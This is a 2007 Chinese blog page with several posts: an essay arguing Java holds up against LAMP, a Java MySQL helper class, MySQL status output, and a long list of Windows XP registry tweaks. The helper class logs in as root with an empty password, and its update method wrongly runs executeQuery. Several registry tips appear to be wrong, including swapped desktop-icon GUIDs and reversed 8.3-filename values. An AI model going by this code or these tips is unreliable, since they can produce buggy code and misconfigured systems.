      -version 在生成文档中包括 @version 文本。缺省地将省略该文本。

      -author 在生成文档中包括 @author 文本。

      -splitindex 将索引文件按字母分割成多个文件,每个字母一个文件,再加上一个包含所有以非字母字符开头的索引项的文件。

      -windowtitle[title] 指定放入 HTML

    posted @ 2007-09-17 18:51 jadmin 阅读(102) | 评论 (0)编辑 收藏

    详情见:

    http://www.itpub.net/788049.html

    posted @ 2007-09-16 18:45 jadmin 阅读(47) | 评论 (0)编辑 收藏

      Java有能力抵挡LAMP的进攻吗?或是LAMP、.Net与Java将三分天下乎?难道昔日“酷毙了”的Java已经成为过时技术了吗……

      随着互联网开源潮流的迅速发展,全球IT业正迎来一个新的发展格局成长期。对全球的开源体系——LAMP(Linux、Apache、MYSQL、PHP)而言,其所代表的开源软件及应用,以其开放性、低成本、安全性、适用性以及可靠性能,正对传统软件、硬件和系统集成商产生巨大的冲击,同时,也给创新型IT企业、程序开发者创造了前所未有的机遇。作为软件行业风尖浪口的Java,几多褒贬,几多称赞。Java有能力抵挡LAMP的进攻吗?或是LAMP、.Net与Java将三分天下乎?难道昔日“酷毙了”的Java已经成为过时技术了吗?

      LAMP宣称,在Linux系统下开发软件不再需要层的概念了,Java不再是唯一的选择了。在本文中,笔者将对LAMP和Java这两种语言进行详细的比较。比较将涉及到这两种语言的起源、特点及各自的优劣势等方面的内容。希望通过这样的比较,让读者了解这两种语言各自的特点,以便于在自己的项目中,根据实际情况,尽快的看清软件语言的发展趋势。

      一、引言

      1998年,Michael Kunze为德国计算机杂志c't写了一篇关于Free 软件如何成为商业软件替代品的文章时,创建了LAMP这个名词,Linux 操作系统、Apache网络服务器、MySQL数据库和PHP (Perl或Python)脚本语言组合而成的——LAMP (四种技术的开头字母组成),随之LAMP技术成为了自由软件业的一盏真正的明灯。

      LAMP 在英语中是“灯”的意思,但是在 IT 行业当然不是那么简单的一个意思。这个术语在德国十分流行。代表了 Linux 平台上的 Apache 网站服务器; MySQL 数据库以及 Perl 、Python 或者 PHP 编程语言的结合。笔者相信,这个术语也会在我们中国的开放源代码界,乃至整个网络界开始流行,LAMP 不仅会成为企业上网,政府上网的“明灯”,也应该会在企业内部实施的 Intranet 大有作为。

      LAMP开源软件——包括Linux 操作系统、Apache网络服务器、MySQL 数据库和PHP ——正在进军主流计算市场。

      Java与。Net 工具一统商业软件开发领域已数年,但是具有易于开发、更新速度快、成本低的特点,LAMP被许多开发者视为“黄金组合”,在近几年中由LAMP集体开源厂家,或者确切的说LAMP开源自由社区吹响向主流计算市场发起进攻的号角。甚至在2005年的TechEd大会上,微软总裁鲍尔默以“微软有能力抵挡LAMP的进攻”的用词,将LAMP列为Windows 和它的。Net 开发软件的竞争者。IBM、Intel、HP、SUN等众多厂家提出开源贡献口号,收购开源公司;Intel、SAP投资PHP公司Zend科技;LAMP的开源和发展潜力可见风头正盛。

      LAMP 所代表的不仅仅是开放源码,它更是开发和实施高性能 Web 应用的重要平台。如果说 Apache 能代表 LAMP 的占有率的话,那么,采用 LAMP 的站点几乎就已经是占据了主要的市场,看看 Netcraft 每月的调查就可以知道 Apache 的流行程度。国外的开放源码站点,例如 Apacheweek、MySQL.com、Perl.com 等自不必说,现在国内的很多站点也开始扑向 LAMP.

      LAMP 无论是性能、质量,还是价格都应该是企业/政府部门上网所必须考虑的平台,LAMP 更应该是 IT 行业,特别是系统集成商所必须选择和比较的平台。

      二、Java的反应

      人生的经验告诉我们,任何一种处于支配地们的主流技术,只要它显露出一点点的进展缓慢时,就有可能出现一种新概念或是技术,来一个落井下石。笔者认为,Java经历了一场场的良性竞争,并取得了良好的效果。同时,在一些其它领域如高性能的计算机上,Java正在发挥它的优势,而在某些方面如J2ME,Java正在快速的发展。

      Java具有良好的开源社区支持,是如此的灵活。看一看Sourceforge,就会明白,没有任何一种语言像Java一样,有如此多的开源组件与软件可以利用。那么Java没有LAMP所宣称的优势吗?我们可以一一分析一下。

      L——Java可以更加优秀的运行在Linux系统上。A——Java社区的Tomcat是最优秀的应用服务器之一。M——Java有非常高效的MySQL驱动。P——Java支持许多脚本语言,并且正处于快速的发展之中。同时,Java紧密整合与支持LAMP的堆栈。

      也许有很多Java的反对者声称,Java使用的容易性向来是Java普及的最大障碍。而Java的应变之道不是改变语言本身使它变简单,因为如果把它变简单了,它处理高阶事务的能力也就被削弱了。Java把重点放在工具的简单性上。如果用Java Studio Creator,就可以用拖放(drag and drop)来写成AJAX元件和资料库存取等内容,订制网页也相当快。这样做的好处是工具把复杂的东西都做掉了,开发人员把应用部署在一个具有错误转移(failover)、远端管理的集成系统上,然后就无需做一大堆事情,很多事都省掉。

    有太多的人说,Java写某些东西很好,但Web开发方面就没那么好,反而是其它开发语言及框架则比较强。很多开发人员采用PHP 来制作网页。PHP这类语言是完全用在Web开发上,如果想产生一个网页,PHP真的很好用,它简直就是JSP (Java Serer Page)的双胞胎。

      但是,开发人员不可能只有做网页而已。一旦开始做大量分析或与其它系统整合,需要涉及到底层的数据分析时,光用PHP之类的东西就很难了,则需要采用Java代码来完成。通常的情况并不是一种技术替代另外一种技术,而是一种技术补充另外一种技术,发挥相乘相加效果。最常看到的是在网页上用PHP,在后端资料分析上用的是Java.

      Java正在失去发展动力吗?笔者绝对不能同意Java正在走下坡路的观点。Java到生命尽头了吗?不!Java的火爆才刚刚开始。在大型、复杂的企业级应用领域,Java仍是主流的开发工具,此外,Java在手机平台上越来越受到欢迎。据悉,目前全球有600多款手机运行Java虚拟机,全球10大手机游戏中有7款是采用Java开发。同时,Java已经成为多数科学研究和计算使用的首选语言。在大学中有越来越多的人在使用Java语言,越来越多的尖端学术研究完全使用Java语言;各个行业的公司都有很多的Java程序员在开发他们的项目。

      三、Java不倒的原因

      为什么说Java在LAMP、。NET及ROR的围攻下而能处于不败呢?笔者主认为主要有以下原因:

      首先,其它的语言是特定领域的语言,尤其有些只是Web应

      用。而Java的应用范围更加的宽广。可以开发桌面程序,手机游戏、DVD播放器及应用服务器等。Java与某些软件有着天然的内在联系,如Database,ERP等。

      其次,Java有大量的开源社区支持,看看Apache的Portfolio或SourceForge就明白这一点。这是Java发展快速的主要原因之一。采用Java作为平台而开发的软件,稳定的运行在各种操作系统上,相对竞争对手其它语言,如C++或C语言,极大的提高了人们的生产力。

      第三,Java开发平台的多样性。有多种JDK可以供选择,包括Sun、IBM、Bea及开源的JDK.同时,有大量的应用服务器可供选择,如开源阵营的JBoss应用服务器、Apache的Geronimo、Sun的Glassfish等等。除此之外,还有大量的商业服务器平台。

      第四,和Java相比,PHP 和Python等脚本语言更容易学习,它们在开发人员当中相当的流行,尤其是那些网页开发者。很多人,包括一些前Java语言的拥护者都认为,脚本语言和所谓的LAMP开源部件正在蓬勃发展,而这种发展减弱了Java的影响。但是,有一点经常被人遗忘,那就是,Java是一种两种层面上的语言:它既是一种虚拟机,同时它也是一种ASCII 语言。很多人看不到Java作为虚拟机的神奇之处,因为非常多的脚本语言就是建立在这种虚拟机之上的。

      最后,Java会是一种通用型语言及平台呢,还是专门发展在行动或服务器平台上的东西呢?这里就存在一些似非而是道理。一方面开发人员得要把东西整合在一起、让环境可以在很多地方使用力量才会大,对Java来说,这正是它最强的地方之一。另一方面是开发人员也想专注在某一领域上。但如果专注在开发人员的技术上,Java社群最厉害的地方是可以把它用在应用服务器、交易服务器、一种网络协议、手机应用程序以及工厂自动化的控制程序或是智能型手机上。最后开发人员学到的是可携式的技能,而不只是一项技术。如果同CIO、CTO谈时,就会知道这相当重要。

    四、LAMP组合利弊谈

      LAMP组合正在逐渐获得市场认可,但是它已经具有追上非开源竞争者的实力吗?生活中最好的东西真的是免费的吗?开源支持者们当然原意让我们相信这一点。多年以来,他们已经将不断改进的LAMP组合作为构建商业系统并使之运转的一条免费之路。

      但是LAMP组合也有一些潜在的缺点。开源组合和私有软件的一个明显区别在于新特性。私有软件提供商的发展依赖于增长率,也就是说需要不断增加销售额。这就使得他们要不断开发新品。另一方面,开源开发没有这样的环境,就是说创新的步伐经常要慢许多。你很少看到走在前沿的创新是开源产品。例如,在微软在SQL Server中开发XML作为一个本地数据类型的时候,开源MySQL数据库才刚刚将存储程序作为一个新‘特性,这比它的竞争对手落后了好几代。

      同时扩展可能是对LAMP用户的一个挑战。使用集群计算机或刀片服务器和诸如Red Hat Linux这样的企业级系统扩展到LAMP系统是可能的,但是这并不容易。

      在许多公司,LAMP仍然没有得到正式认可。但是在开源开发模式中,人人都可以做出贡献,这将推动LAMP比Java或。Net 更快的前进。不过,LAMP也不可能把现有的Java和。Net两大阵营消灭,因为大的公司客户都不会只采用一套软件。

      应用促进开源发展,理念走向务实应用。与欧美相比,国内的LAMP架构在企业关键应用中的应用还有待提高。目前我国LAMP应用存在的问题:国内开源数据库的应用已经开始起步了,但是开发还没有和开源技术挂钩。LAMP要发展,能否做出商业软件是关键。

      LAMP的商业化过程存在严重的问题。例如,PHP的产品给人留下的似乎就是,技术很好,但是客户体验服务没跟上,包括安装提示,升级以及Bug反馈等等服务都很粗糙,客户宁愿去选中商业化更浓的Java 或。Net.

      五、结论

      毫无疑问的是,LAMP组合拥有其自身的价值,但是要小心地使用它。它是为新兴商业系统和概念业务系统的可行性寻找证据的优秀工具,但是它也需要适当的关心和关注以变得更加高效。

      在企业级开发,Java毫无疑问是完全占据优势的。Dyanimics 和Groovy 是Java 可以较大提升的一个地方,这使得Java更加动态,更适应小型应用。而EJB这些,就更不用说了,LAMP和。Net,基本上是不适用了。PHP很受欢迎,只是证明了PHP在很多简单应用上,开发者上手比较快而已。最关键的是,PHP和JAVA也不是一个层面比较的东西,如果要比较,那么就是MODE-1的JSP和PHP比较。特别是O/R、 AOP、MVC、 Patterns、XML config files、Tag libraries 等,在PHP中要实现还是要很长一段时间。

      套用一句俗话“只要努力,就会更好”。Java有潜力成为从PDA到服务器任何领域都非常成功的平台。Java可以继续在其占优势的服务器端发展下去。还可以通过优化客户端程序的发布及安装使Java在客户端开发方面一样获得成功。不管现在的情况如何,笔者相信Java有能力成为一个完美的平台。通过不断的完善,降低开发人员入门的难度,提供对所有的平台和操作系统的支持,以及提供对更多语言的支持,Java平台将可以适应任何层次任何领域的开发。通过对客户端平台的优化Java在PC和移动设备领域中也会获得巨大的成功。

    posted @ 2007-09-16 18:36 jadmin 阅读(66) | 评论 (0)编辑 收藏

    详情见:

    http://www.ibm.com/developerworks/cn/opensource/os-eclipse-clean/index.html?S_TACT=105AGX52&S_CMP=techcsdn

    posted @ 2007-09-16 16:47 jadmin 阅读(37) | 评论 (0)编辑 收藏

    import java.sql.*;

    public class DBconn
    {
    String DBDriver = "org.gjt.mm.mysql.Driver";
    String ConnStr = "jdbc:mysql://localhost/db";
    String MyUser = "root";
    String MyPassword = "";
    Connection conn = null;
    Statement stmt = null;
    ResultSet rs = null;

    public DBconn()
    {
       try
       {
        Class.forName(DBDriver);
       } catch (java.lang.ClassNotFoundException e)
       {
        System.err.println("DBconn (): " + e.getMessage());
       }
    }

    public ResultSet executeQuery(String sql)
    {
       rs = null;
       try
       {
        conn = DriverManager.getConnection(ConnStr, MyUser, MyPassword);
        Statement stmt = conn.createStatement(
          java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE,
          java.sql.ResultSet.CONCUR_READ_ONLY);
        rs = stmt.executeQuery(sql);
       } catch (SQLException ex)
       {
        System.err.println("aq.executeQuery:" + ex.getMessage());
       }
       return rs;
    }

    public void executeUpdate(String sql)
    {
       {
        try
        {
         conn = DriverManager.getConnection(ConnStr, MyUser, MyPassword);
         Statement stmt = conn.createStatement();
         stmt.executeQuery(sql);
         stmt.close();
         conn.close();
        } catch (SQLException ex)
        {
         System.err.println("aq.executeQuery:" + ex.getMessage());
        }
       }
    }

    public boolean closeConn()
    {
       try
       {
        if (rs != null)
         rs.close();
        if (stmt != null)
         stmt.close();
        if (conn != null)
         conn.close();
        return true;
       } catch (SQLException ex)
       {
        System.err.println("closeConn:" + ex.getMessage());
        return false;
       }
    }
    }

    posted @ 2007-09-15 12:59 jadmin 阅读(140) | 评论 (0)编辑 收藏

    进入MySQL终端后,输入命令\s即可,如下:

    Microsoft Windows XP [版本 5.1.2600]
    (C) 版权所有 1985-2001 Microsoft Corp.

    C:\Documents and Settings\Administrator>mysql -uroot -p
    Enter password: ****
    Welcome to the MySQL monitor.   Commands end with ; or \g.
    Your MySQL connection id is 1
    Server version: 5.0.45-community-nt MySQL Community Edition (GPL)

    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

    mysql> \s
    --------------
    mysql   Ver 14.12 Distrib 5.0.45, for Win32 (ia32)

    Connection id:           1
    Current database:
    Current user:           root@localhost
    SSL:                     Not in use
    Using delimiter:         ;
    Server version:          5.0.45-community-nt MySQL Community Edition (GPL)
    Protocol version:        10
    Connection:              localhost via TCP/IP
    Server characterset:     latin1
    Db      characterset:     latin1
    Client characterset:     latin1
    Conn.   characterset:     latin1
    TCP port:                3306
    Uptime:                  1 hour 9 min 3 sec

    Threads: 1   Questions: 4   Slow queries: 0   Opens: 12   Flush tables: 1   Open tabl
    es: 0   Queries per second avg: 0.001
    --------------

    mysql>

    posted @ 2007-09-15 12:41 jadmin 阅读(77) | 评论 (0)编辑 收藏
    三、最新Windows XP注册表实用配置技巧 1.屏蔽当鼠标移动到标准控制按钮的提示信息 当你将鼠标移动到一个标准窗口上的三个控制按钮(最小化、最大化、关闭)上时,它将显示每一项的文本提示。通过注册表可以屏蔽这个功能。打开注册表子键:HKEY_CURRENT_USER\Control panel\Desktop\,创建一个新的键值项或者修改已经存在的键值项“MinMaxclose”(字符串型),并设置其值:0表示屏蔽此功能;1表示激活此功能。 2.通过注册表查看系统BIOS信息 在注册表里储存着关于系统主板BIOS的有关信息,包括最终日期、版本号和视频BIOS日期等信息。打开注册表子键:HKEY_LOCAL_MACHINE\Hardware\Description\System,其下面的键值项:Systembiosdate、Systembiosversion、Videobiosdate分别记录着这些BIOS信息。 3.启动自动最优化磁盘功能 在Windows XP系统中,需要时可以自动初始优化磁盘系统的新功能。在注册表中可以控制此功能是否有效。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Dfry\Bootoptimizefunction,新建字符串型键值项“Enable”,并设置其值:“Y”为此功能有效,“N”反之。 4.限制自动登录的数量 这个设置可以限制自动登录的次数,一旦限制已经到了额定次数,自动登录功能就会拒绝登录系统。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Nt\CurrentVersion\Winlogon,创建一个新的字符串型或者修改现有的“autologoncount”键值项,并且根据需要设置其值的大小。 注意:每次系统重新启动,autologoncount的值将被消耗一个,直到为零。当值为零时,将没有账户可以自动登录,autologoncount和默认密码键值将从注册表中删除且autoadminlogon将被设置为零。 5.使用Windows NT/2000的登录界面登录Windows XP Windows XP采用了一个全新的登录界面,全新的登录方法和显示用户的图片信息,让整个过程更加舒心、个性化。然而在某些场合,可能还会用到Windows NT/2000登录界面,可以通过一些组合键来实现此功能: (1)同时按下Ctrl+Alt键。 (2)连续按下Del键两次。 登录界面将变成Windows NT/2000式的界面,此时,你可以通过点击“取消”按钮来切换到Windows XP界面。 6.定义Windows XP时钟服务器 Windows XP有一个新的特色,它可以将系统的时钟与Internet上的时钟服务器进行同步校正,用以下方法你可以修改或添加默认的时钟服务器。打开注册表子键HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DateTime\Servers,设置此子键的默认值为服务器的IP地址或者域名即可。 7.锁定/解除任务栏在桌面上的位置 打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced,新建或者修改双字节值项“TaskbarSizeMove”,并设置其键值:0为锁定;1则为解开锁定。修改完成后,注消或重新启动使其生效。 8.改进核心存取系统性能 在具有大量RAM存储量的系统中,这个技巧可以强迫Windows核心进程被驻留在存储器里而不是在程序和磁盘交换文件之间来回切换,从而大大提高系统运行效率。打开注册表子键:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Memory Management,在其下新建一个双字节值项:Disablepagingexecutive,并设置其值:1使此功能被激活并且阻止核心进程进行磁盘页面交换;0则设其为默认值。重新启动计算机使设置生效。 9.优化I/O缓冲大小的默认设置 此功能可用于改变Windows XP对于I/O缓冲大小的默认设置。打开注册表子键HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Memory Management,新建或者编辑双字节值项“IoPageLockLimit”,并设置其值,其值有二进制和十六进制,单位为Beyte。在设置缓冲大小时,请逐渐增大数值,在增大的过程中观察设置的性能,因为盲目的增大也会浪费系统资源。 10.屏蔽/打开“分组相似任务栏按钮”功能 此功能用于是否将相似的窗口条目集合在一起或作为单个按钮显示在任务栏上。打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced,新建或者编辑双字节值项“TaskbarGlomming”,并设置其值:0为屏蔽此功能;1为运行此功能。 11.自定义激活“分组相似任务栏按钮”的窗口数量 在注册表里,可以设置当某个窗口达到一定数量后,才激活“分组相似任务栏按钮”的功能,打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced,新建或者编辑双字节值项“TaskbarGroupSize”,并设置其值为欲设的窗口数量,一般可为2~10左右。 12.设置当IE 6.0发生错误时是否允许错误报告 设置是否允许错误报告,主要用于报告IE 6.0出现错误时将错误信息收集并通过Internet发送到微软技术部门,通过下面的方法可以屏蔽此功能。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main,新建或者编辑双字节值项“IEWatsonDisabled”,并设置其值为:0表示允许出现错误时报告;1表示不报告。 13.让IE使用多线程下载网页 现在很流行Netants、FlashGet等多线程下载工具,其实IE也可以使用多线程下载网页,这样在设置适当的情况下,可以加快网页下载速度。打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings,新建双字节值项“MaxConnectionsPerServer”,此项的作用是决定最大同步下载的连线数目,一般5~8个连线数目比较好。另外,对于HTTP 1.0服务器,可以加入名为“MaxConnectionsPer1_0Server”的双字节值项,其值也是设置最大同步下载的数目。 14.设置Windows XP的DOS文件名风格 此设置用于控制是否允许在NTFS分区上使用DOS的8.3式的文件,禁止这项功能,将使NTFS分区的性能更高。打开注册表子键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,新建或者编辑双字节值项“NtfsDisable8dot3NameCreation”,并设置其值:0表示不允许;1表示允许。 注意:对于一些十六位的安装程序将会自动使这项功能打开。 15.屏蔽/打开菜单阴影效果 Windows XP的阴影菜单效果确实更加个性化、绚丽,但对于系统性能较低的机器,此功能将消耗系统资源,通过注册表可以屏蔽/打开此功能。打开注册表子键:HKEY_CURRENT_USER\Control Panel\Desktop,新建或者编辑已有二进制类型键值项“UserPreferencesMask”,设置其值为:将第二个二位改为“28”表示滚动效果表示屏蔽;改为“3E”打开阴影效果。重新启动计算机后可看到效果。 16.打开无须登陆系统功能 此功能用于控制对于便携电脑的用户即便在没有登录时,也有可以使用电脑。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System,新建或者编辑已有双字节值项“UndockWithoutLogon”,并设置其值为:0表示不允许有此功能;1表示允许此功能。 17.设置“尚未阅读信息”的最大期限 Windows XP新功能包括在登录时显示几天内尚未阅读的新信息,我们可以注册表里设置此最大期限。打开注册表子键,如果仅仅应用于当前用户,则打开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail”子键,如果应用于所有用户则打开“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\UnreadMail”子键,新建或者编辑已有双字节值项“MessageExpiryDays”,并设置其值为具体的天数。 18.隐藏/显示桌面图标 新的Windows XP外观更加个性化,桌面似乎也变得更加简洁,刚刚安装的系统桌面上,仅仅只有一个“回收站”图标,多少有点不方便,其实默认情况下其他常用的图标(如我的电脑、网上邻居等)都被设置为隐藏,我们可以通过注册表可以设置他们是否隐藏/显示。打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel,新建下面所列对应的任何一个双字节值项: IE图标:{20D04FE0-3AEA-1069-A2D8-08002B30309D} 回收站图标:{871C5380-42A0-1069-A2EA-08002B30309D} 网上邻居图标:{208D2C60-3AEA-1069-A2D7-08002B30309D} 我的文档图标:{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的电脑图标:{645FF040-5081-101B-9F08-00AA002F954E} 并设置其值为:1为隐藏相应图标;0为显示相应图标。 19.显示/隐藏公共对话框中的“后退”按钮 Windows XP中可以调用功能更加强大、界面更加友好的新的公共对话框函数(comdlg32.dll),新的对话框中包含了“后退”这一方便的功能按钮,但如果想隐藏它,也可以通过注册表来设置。打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32,新建或者编辑已有双字节值项“ NoBackButton”,并设置其值为:1为隐藏;0为显示。 20.显示/隐藏公共对话框中的“查找范围快速定位区” 如上面说到的一样,Windows XP公共对话框中的“查找范围”快速定位区也是可以隐藏/显示的。打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32,新建或者编辑已有双字节值项“ NoPlacesBar”,并设置其值为:1为隐藏;0为显示。 21.防止应用程序窗口失去焦点 如果当前的窗口被另一个自动运行的程序窗口覆盖,即失去焦点,在以往的Windows操作系统中,特别是Windows 2000中,常常因为窗口失去焦点,致使窗口无法正常被控制。Windows XP中增加了对窗口焦点的操作功能,具体可在注册表中设置。打开注册表子键:HKEY_CURRENT_USER\Control Panel\Desktop,新建或者编辑已有双字节值项“ForegroundLockTimeout”,并设置其值:如果是0,则屏蔽锁定当前窗口焦点功能;如果是具体的数字(单位为毫秒),则在等待设定的时间后自动释放被锁定的焦点。 然后在上面的子键下新建或者编辑已有双字节值项“ForegroundFlashCount”,并设置其值:如果是0,则闪烁任务栏中的窗口直到单击后才停;如果是具体的数字,则当闪烁指定的次数后自动释放被锁定的焦点。 22.激活磁盘DMA66模式 激活磁盘系统DMA功能可以节省更多的CPU资源对磁盘进行操作,通过注册表可以控制系统是否打开此功能。打开注册表子键:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class\{4D36E96A-E325-11CE-BFC1-08002BE10318}\0000,新建或者编辑已有双字节值项“EnableUDMA66”,并设置其值:0表示取消此功能;1表示激活此功能。 23.锁定IE的下载功能 打开注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Internet Settings\Zones\3,新建或者编辑已有双字节值项“1803”,并设置其值:3表示锁定;0表示不锁定。24.禁止使用“LAST KNOW GOOD”(最后一次成功引导) “LAST KNOW GOOD”(最后一次成功引导)可以在系统瘫痪时恢复到上一次运行正常时的状态,如果出于需要而屏蔽此功能,可以使用注册表来设置。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT,新建或编辑已有子键“ReportBootOk”,并设置其值:1为启用此功能;0为屏蔽此功能。 25.控制发生错误时是否弹出警告窗口 默认情况下,当应用程序发生严重错误被关闭时会弹出警告窗口,并可以看到一些程序错误信息,如果不想看到此警告弹出窗口,可以在注册表里设置。打开注册表子键:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Windows,新建或者编辑已有双字节值项“ErrorMode”,并可设置键值为:0,所有错误都弹出显示“默认”;1,系统错误不显示,应用程序错误显示;2,系统和应用程序同时发生错误则弹出显示。 26.控制当系统崩溃时是否记录日制 打开注册表子键:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\CrashControl,新建或者编辑已有双字节值项“LogEvent”,并设置其值为:0为不记录;1为记录。 27.定制Regedit的收藏夹 Windows XP新版的Regedit增加了“收藏”功能,但却没有管理收藏功能,你只能创建、删除收藏,而不能修改以及备份这些内容。 Regedit的“收藏”信息保存在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\Favorites子键下,键值项的名称就是显示在Regedit“收藏夹”里的条目,而键值则是该条目指向的注册表子键路径(比如“我的电脑\HKEY_CURRENT_USER\Software\Microsoft\Windows”)。可根据自己的需求添加、删除、编辑修改这些项目。 28.启用“自动完成”功能 自动完成是Internet Explorer的一个体贴功能。此功能的妙处在于,当你输入以前曾经输入过的地址时,它会自动完成输入,省去了反复输入的麻烦,而特别是在地址很长的时候,更能体现它的体贴入微。 Windows XP的一些命令输入窗口提供了类似的提示功能,就是在你输入以前曾经输入的内容时,它将其列出以备你选择使用,但并不自动填充完成输入。很明显这一功能比“自动完成”还差那么一点人性化的体贴。打开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete子键,如果该子键下没有“Append Completion”键值项,那么新建此键值项(字符串型),并赋值为“YES”,自动完成功能便启用了。 29.自定义磁盘图标和卷标 通过在磁盘根目录下创建并设置Autorun.inf,可以更改此磁盘的图标,其实,通过注册表的设置,同样可以达到效果,并且还可以自定义磁盘的卷标。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons(如果没有DriveIcons子键,请新建),在该子键下新建一个与欲修改磁盘盘符相同名称的子键(比如欲修改C盘,那么新建一个以C为名的子键),然后在其下新建一个用来设置磁盘图标的“DefaultIcon”子键,并设置其默然值为图标文件的路径,比如C:\Windows\Welcome.exe或者其他图标文件。 用上面一样的方法,再新建一个用来设置卷标的“DefaultLable”(即…C\DefaultLable),子键,并设置其默然值为欲设的卷标文字,比如My Drive或其他文字。 以上操作完成后,重新启动或者打开资源管理器并按F5刷新,使修改生效。 30.为CD-ROM和磁盘驱动器建立高级安全机制 为CD-ROM和磁盘驱动器及其可移动介质建立高级安全机制,可以只被当前登录的用户访问。具体可以按照如下步骤进行修改。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon,新建或者编辑已有字符串类型键值项AllocateCDRoms,并设置其值为:1,可以使CD-ROM达到此功能;0,屏蔽此功能。 另外在该子键下还有键值项AllocateFloppies,可以使磁盘驱动器达到此效果,具体设置值与上面一样。 31.确定上次登录时用户使用的域 要控制用来确定成功登录到当前系统上一个用户所用域名的注册表项,可以按照如下步骤进行操作。打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon,新建或修改已有字符串类型键值项“DefaultDomainName”,其键值包含上一次成功登录时用户所用的域名。 32.Windows XP登录口令过期警告 要设置用来确定当用户登录且用户的口令已过期时是否显示警告对话框的注册表项,可以打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon,新建或者修改已有字符串值项“PasswordExpiryWarning”,设置其值为在用户使用即将过期的口令进行登录时显示警告对话框所需的值。 33.防止用户配置文件选择对话框超时 要设置在连接远程服务器有一段延迟的情况下,决定用户可以有多少时间确定使用本地配置文件还是服务器配置文件的注册表项,可以打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon,新建或者编辑已有字符串值项“ProfileDlgTimeOut”,并设置其值为当连接远程服务器遇到延迟时,允许用户在决定使用本地配置文件还是服务器配置文件时花费的时间(毫秒)。 34.使用定制的Shell(外壳程序) 要设置用来指定作为Windows XP缺省Shell执行的程序的名称和路径的注册表项,可以打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon,新建或者编辑已有字符串型键值项“Shell”,并设置其值改为想要使用的定制的Shell程序路径和程序文件名。 35.通过性能库防止可扩充计数器超时 你可能会遇到一个关于系统性能监视器的常见问题是图形或图表没有显示数据,而你知道一个进程正在执行。这是由于几个原因造成,但是最常见的原因是用来跟踪信息的可扩充计数器超时,导致进程启动延迟。你可以通过如下所示的方法修改注册表来更正这个问题,打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Perflib,新建或编辑已有双字节值项“OpenProcedureWaitTime”,并设置其值:缺省值是5000ms(毫秒),即5秒,将这个数值增加到一个合理的数值,并再次试用系统性能监视器直到获取有效数据为止。 36.当资源管理器崩溃时强迫计算机重新启动 如果操作系统发生故障,Windows XP就会自动重新启动。但是如果资源管理器崩溃(桌面无法显示图标或任务栏),那么你可能就必须使用键盘快捷键来注销,并重新启动资源管理器。要避免出现这种情况,可以打开注册表子键:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon,新建或编辑已有双字节值项“AutoRestartShell”,并设置其值为:1为允许在资源管理器崩溃时自动重启;0为强迫手工注销并重启。然后重新启动计算机,下次资源管理器崩溃时,计算机就会自动重启动,而不必先注销再登录。 37.禁用Windows XP的文件高速缓存 一个与服务相关的注册表操作是增加信箱的可用缓存以防止丢失信件,认识到这样做可能会对性能造成影响是很重要的,只有当一个很明显的涉及信件丢失的问题无法用其他方法解决时才能这样做,要做到这一点,可以打开注册表子键:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters,新建或者编辑已有双字节值项“UtilizeNtCaching”,并设置其值为:1为启用缓存;0,则禁止缓存。 38.设置系统临界线程的总数 打开注册表子键:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters,新建或者编辑已有双字节值项“CriticalThreads”,并设置其值为一个自己欲修改的值,增加系统可用的临界线程数。
    posted @ 2007-09-13 18:54 jadmin 阅读(127) | 评论 (0)编辑 收藏
    八、高级篇
    1、自动清除登录窗口中上次访问者的用户名
